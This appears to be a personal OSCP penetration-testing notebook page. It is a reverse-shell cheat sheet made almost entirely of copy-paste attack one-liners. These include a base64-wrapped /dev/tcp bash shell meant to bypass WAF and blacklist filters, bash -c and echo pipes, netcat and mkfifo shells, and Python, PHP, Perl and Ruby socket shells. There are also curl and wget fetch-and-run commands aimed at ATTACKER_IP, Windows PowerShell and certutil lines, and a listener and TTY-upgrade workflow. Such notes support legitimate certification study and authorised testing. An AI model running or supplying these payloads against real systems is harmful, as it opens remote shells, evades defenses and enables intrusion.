Pearson's OSCP Notebook

Reverse Shell - Base64 bash-c echo and One-Liners

Properties1
tagsreverse-shell, base64, bash, bash-c, echo, sh, one-liner, obfuscation, oscp

4 min read

Reverse Shell — Base64, bash -c, echo & One-Liners

Ctrl+F: base64 -d | bash · bash -c · bash -i · /dev/tcp · encode · obfuscation

External: Internal All The Things — Reverse Shell Cheatsheet

Every common way to fire a reverse shell from a Linux target when you have command execution (RCE, webshell, cron, sudo). Includes base64-wrapped payloads to slip past filters that block obvious bash -i strings.

→ Shell (listener + upgrade) · Netcat · Base64 · Msfvenom

Before triggering: on Kali → rlwrap nc -lvnp PORT or tmux session with listener.

📌 Base64 pipe to bash (filter bypass)

Why: WAF / blacklist blocks bash -i, /dev/tcp, or nc. Base64 hides the payload; target decodes and executes in one shot.

Your example (copy/paste — change IP/port)

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMjI3LzIyIDA+JjE= | base64 -d | bash

Decodes to:

/bin/bash -i >& /dev/tcp/192.168.45.227/22 0>&1

Encode your own payload (Kali)

# 1. Write the reverse shell one-liner
echo -n '/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0
 
# 2. Paste output on target:
echo BASE64_HERE | base64 -d | bash

macOS encode (no -w0):

echo -n '/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 | tr -d '\n'

Variants

# printf instead of echo (no newline issues)
printf '%s' 'BASE64' | base64 -d | bash
 
# Through sh
echo BASE64 | base64 -d | sh
 
# Write decode to file then run
echo BASE64 | base64 -d > /tmp/x.sh && bash /tmp/x.sh
 
# Python decode + exec
python3 -c "import base64,os; os.system(base64.b64decode('BASE64').decode())"

→ Base64

📌 bash -c (inline command)

Why: Single argument to -c runs a full shell command — common in cron, sudo, RCE params.

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
 
bash -c "/bin/bash -i >& /dev/tcp/192.168.45.227/4444 0>&1"
 
# With base64 inside bash -c
bash -c 'echo BASE64 | base64 -d | bash'

sudo / restricted paths:

sudo bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

📌 echo + pipe / sh

# echo string into shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | bash
 
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | sh
 
# echo -e for escapes
echo -e "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | bash

📌 Direct bash / sh one-liners (no encoding)

# Bash TCP (no nc needed — bash built-in /dev/tcp)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
 
/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
 
# sh if bash missing
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
 
# 0.0.0.0 = all interfaces on listener side; target connects OUT to ATTACKER_IP

📌 Netcat & mkfifo

# nc traditional
nc -e /bin/bash ATTACKER_IP 4444
nc ATTACKER_IP 4444 -e /bin/bash
 
# nc without -e (mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
 
# ncat
ncat ATTACKER_IP 4444 -e /bin/bash

→ Netcat

📌 Python / PHP / Perl / Ruby

# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
 
# Python2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
 
# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
 
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
# Ruby — full ref → [[Ruby]]
ruby -e 'exec'"'"'bash -c "/bin/bash -i -p>& /dev/tcp/ATTACKER_IP/4444 0>&1"'"'"''
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

→ Python · Ruby · Shebangs

📌 curl / wget fetch + bash

# Host script on Kali: python3 -m http.server 8080
curl http://ATTACKER_IP:8080/shell.sh | bash
wget -qO- http://ATTACKER_IP:8080/shell.sh | bash
 
# Base64 script hosted
curl -s http://ATTACKER_IP:8080/payload.b64 | base64 -d | bash

→ Install Download and Run · Curl

📌 Windows quick refs

# PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);..."
 
# cmd + certutil base64 decode
certutil -decode payload.b64 payload.exe && payload.exe

→ Windows CMD - Powershell Commands · Msfvenom

📌 Workflow

1. Kali: rlwrap nc -lvnp 4444   (or tmux new -s rev)
2. Trigger payload on target (RCE / upload / cron)
3. Upgrade: python3 -c 'import pty;pty.spawn("/bin/bash")'
4. Ctrl+Z → stty raw -echo; fg → export TERM=xterm

→ Shell > 📌 2) Upgrade / stabilize a shell (Linux)

📌 Quick cheat sheet

# Listener
rlwrap nc -lvnp 4444
 
# Base64 (edit IP/port first on Kali)
echo -n '/bin/bash -i >& /dev/tcp/192.168.45.227/4444 0>&1' | base64 -w0
echo PASTE_BASE64 | base64 -d | bash
 
# Plain bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | bash
 
# mkfifo + nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

Graph View

Backlinks